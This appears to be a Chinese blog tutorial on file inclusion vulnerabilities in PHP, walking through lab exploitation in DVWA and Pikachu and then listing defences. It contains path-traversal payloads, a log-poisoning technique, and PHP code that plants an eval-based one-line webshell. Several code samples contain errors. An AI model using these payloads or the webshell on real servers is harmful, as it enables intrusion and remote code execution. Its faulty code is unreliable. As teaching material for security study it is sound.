首页 > 其他分享 >从零开始学Web安全,文件包含漏洞详解

从零开始学Web安全,文件包含漏洞详解

时间:2024-06-20 20:28:34浏览次数:16  
标签:Web 包含 .. 文件 漏洞 从零开始 file 日志 详解

从零开始学Web安全,文件包含漏洞详解


大家好,我是[小羽],一个对网络安全充满热情的小白。今天,我将与大家分享我的网络安全中的Web安全学习笔记什么是文件包含漏洞?,这里很详细的介绍了Sql注入的各种类型防御的方法。

靶场:dvwa,pikachu
服务器:centos7
数据库:mysql5.7
php:8.0
nginx:1.24

什么是文件包含漏洞?

概述

sql注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,让服务端执行

包含:把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员有没有对要包含的文件进行安全考虑,攻击者就可以通过构造恶意的文件路径参数来执行任意的代码

常见的文件包含漏洞有两种类型:

  1. 1. 本地文件包含(Local File Inclusion):LFI本地文件包含漏洞是指攻击者能够利用应用程序的漏洞,直接访问并执行服务器上的文件
  2. 2. 远程文件包含(Remote File Inclusion):攻击者能通过将一个远程文件包含到应用程序中来执行任意代码,这种漏洞通常存在在于动态包含外部资源的代码中。

攻击者可以利用文件包含漏洞来执行一系列攻击,比如读取敏感文件、执行恶意代码、获取数据库信息等。

以PHP为例,常用的文件包含函数有以下四种

函数描述特点
require()找不到被包含的文件会产生致命错误,并停止脚本运行在一开始就加载
include()找不到被包含的文件只会产生警告,脚本继续执行在用到时加载
include_once()如果该文件的代码已经被包含,则不会再次包含与include()类似
require_once()如果该文件的代码已经被包含,则不会再次包含require()类似

漏洞利用过程

一、本地文件包含漏洞(LFI)

php代码示例:

<?php
    $file=$_GET(['filename']);
    include($file)
?>

python代码示例:

file=request.GET.get('filename')#django
with open(filename,mode='r') as f:
    print(f.read())

我们可以利用文件包含读取到一些其他文件,甚至可以读取一些系统的敏感信息如系统的配置器文件:C:\Windows\system.ini文件(很危险)

DVWA

首先在我们centos系统中根目录创建一个demo1.txt写入'you are very good hacker!'

进入dvwa靶场File Inclusion

点击任意文件后,观察到url的变化为文件名称的变化

使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt

漏洞利用成功!此时也可直接读取系统配置文件例如hosts

PiKaChu

选择下拉框任意选项,分析url,找到文件名称如下图

使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt

注意:在文件包含漏洞中通常配合文件上传使用

二、远程文件包含漏洞

远程文件包含漏洞就是在不同ip/域名之间进行文件包含操作,需要将php.ini中的allow_url_include = On打开,如下图

比如这里有一个远程文件:https://xiaoyus.cc/license.txt

漏洞利用成功!

三、包含Apache/Nginx日志文件

有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

我们通过访问,让访问日志记录我们的phpinfo();代码,可以看出,访问日志已经成功记录了我们的访问历史:

注意:需要开启服务器记录日志功能

<?php phpinfo();?>

日志访问成功但是我们发现了日志使用的是url编码,而不是完整的php代码这里我们就需要使用到抓包工具burp suite进行请求拦截,然后修改参数值为完整的php代码

查看日志,日志写入成功

接下来利用文件包含漏洞访问日志的文件地址我这里是www/server/nginx/logs/access.log

日志文件注入成功!让访问日志文件记录下写入文件脚本代码:

<?php 
$file=fopen('test1.php','w');
fputs($file,'<?php @eval($_POST[666]);?>');
?>

访问内容修改:

可以看见日志文件写入成功

对访问日志进行文件包含,并查看创建的一句话脚本,已经创建成功:

查看源文件,也可以看到创建成功

此时就可以使用蚁剑进行连接获取webshell

如何避免?

一、设置白名单

代码在进行文件包含时,如果文件名称可以确定,可以设置白名单对传入的参数进行比较。

PHP验证源码示例:

<?php
$file_list=[                       //声明一个变量,用于存放白名单;
  'framework/init.php',
  'framework/route.php',
  'framework/event.php',
];
$file= $_REQUEST['file'];          //声明一个变量,用于接收传递过来的文件信息;
if (in_array($file, $file_list)){  //把传递过来的文件信息和白名单里面的文件进行对比;
  include "$file";                 //如果传递过来的文件是白名单里面的文件,就对它进行文件包含;
}
?>

python验证源码示例:

file_list=[
   'framework/init.php',
  'framework/route.php',
  'framework/event.php',
]
file=requests.GET.get('file')
if file in file_list:
    with open(file,mode='r') as f:
        content=f.read()
        print(content)
else:
    print('该文件不在许可范围内')

二、过滤危险字符

由于Incbude/Require可以对PHP Wrapper(包装器)形式的地址进行包含执行(需要配置php.ini)

在linux环境中可以通过"../../"的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP文件。

验证源码示例:

$pattern= "#^[a-z][a-z0-9+.]*:?//#i";
if(substr($filename,-4)=='.php' && strpos($filename,"..")===false&&!preg_match($pattern, $filename)){
include "$file";
}

python源码示例:

import re
import os

parttern='"#^[a-z][a-z0-9+.]*:?//#i'

def include_file(filename):
    if filename.endswith('.php') and '..' not in filename and not re.search(pattern,filename():
        with open(filename,'r') as f:
            file=f.read()
            print(file)
            
include_file('demo.php')

四、设置文件目录

PHP配置文件中又open_basedir选项可以设置用户需要执行的文件内目录,如果设置目录的话,PHP仅仅在该目录内进行文件搜索,而不会去搜索其他文件

四、关闭危险配置

PHP中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包含,由于远程文件的不可信任及其不确定性,在开发中禁止打开次此选项,PHP默认是关闭的。

五、最小权限原则

做好管理员权限划分,做好文件的权限管理,allow_url_includeallow_url_fopen最小权限化

感谢!

原文地址 从零开始学Web安全,文件包含漏洞详解

标签:Web,包含,..,文件,漏洞,从零开始,file,日志,详解
From: https://blog.csdn.net/xt350488/article/details/139726715

相关文章

  • 详解 ClickHouse 的表引擎
    一、简介表引擎决定了如何存储表的数据。包括:数据的存储方式和位置,写到哪里以及从哪里读取数据支持哪些查询以及如何支持并发数据访问索引的使用(如果存在)是否可以执行多线程请求数据复制参数表引擎的使用方式:必须显式在创建表时定义该表使用的引擎,以及引擎使用的相关......
  • 从零开始搭建创业公司全新技术栈解决方案
    从零开始搭建创业公司全新技术栈解决方案关于猫头虎大家好,我是猫头虎,别名猫头虎博主,擅长的技术领域包括云原生、前端、后端、运维和AI。我的博客主要分享技术教程、bug解决思路、开发工具教程、前沿科技资讯、产品评测图文、产品使用体验图文、产品优点推广文稿、产品横测......
  • 深入探索WebKit中的跨域资源共享(CORS)实现
    跨域资源共享(CORS)是一个安全协议,允许不同源之间的资源共享。在现代Web应用中,CORS对于实现WebAPI调用、Ajax跨域请求等至关重要。WebKit作为广泛使用的浏览器引擎之一,其对CORS的支持直接影响到Web应用的跨域交互能力。本文将深入探讨WebKit如何实现CORS,以及这一机制对开发者......
  • MoneyPrinterPlus:AI自动短视频生成工具-阿里云配置详解
    MoneyPrinterPlus是一个很好的自动短视频生成工具,虽然是一个非常好的工具,但是有些小伙伴可能不太清楚具体应该如何配置才能让它跑起来。因为MoneyPrinterPlus依赖一些具体的配置信息,所以还是很有必要给大家讲解清楚如何进行配置。项目已开源,代码地址:https://github.com/ddean200......
  • webpack项目开发完后,如何优化打包速度?
    Gzip压缩前端页面文件缓存我们先来简单回顾下http缓存的知识:HTTP1.0是通过Expires(文件过期时间)和Last-Modified(最近修改时间)来告诉浏览器进行缓存的,这两个字段都是UTC时间(绝对时间)。Expires过期控制不稳定,因为浏览器端可以随意修改本地时间,导致缓存使用不精准。而且L......
  • TCP与UDP详解:层次、区别及应用场景
    TCP和UDP的层次及区别详解所属层次TCP(TransmissionControlProtocol,传输控制协议)和UDP(UserDatagramProtocol,用户数据报协议)都属于OSI模型中的传输层(第四层)。在传输层,协议的主要作用是为端到端的通信提供逻辑通信,并确保数据在网络上传输的可靠性和顺序。TCP和UDP的区别......
  • 使用Ollama+OpenWebUI本地部署阿里通义千问Qwen2 AI大模型
    ......
  • 【数据结构与算法】二叉树的性质 详解
    在二叉树的第i层上至多有多少个结点。在二叉树的第i层上至多有2i−1......
  • 【数据结构与算法】树,二叉树 详解
    给出树的不同的几种表示形式。邻接矩阵:这是一种二维数组,其中的元素表示两个节点之间是否存在边。这种表示形式适用于稠密图,但对于稀疏图可能会浪费很多空间。邻接表:这是一种数组和链表的组合结构。数组的每个元素都是一个链表,链表中的元素表示与该节点相连的其他节点。这种......
  • CentOS7系统搭建web环境 php&nginx&pgsql
    环境:VMware、CentOS-7-x86_64-DVD-2009.iso、nginx-1.26.1、php-7.2.0、postgresql-12php最好安装对应php项目所需版本,否则会出现不兼容问题。一、VMware安装CentOS7操作系统下载LinuxCentos7映像:https://mirrors.aliyun.com/centos/7/isos/x86_64/?spm=a2c6h.25603864.0.......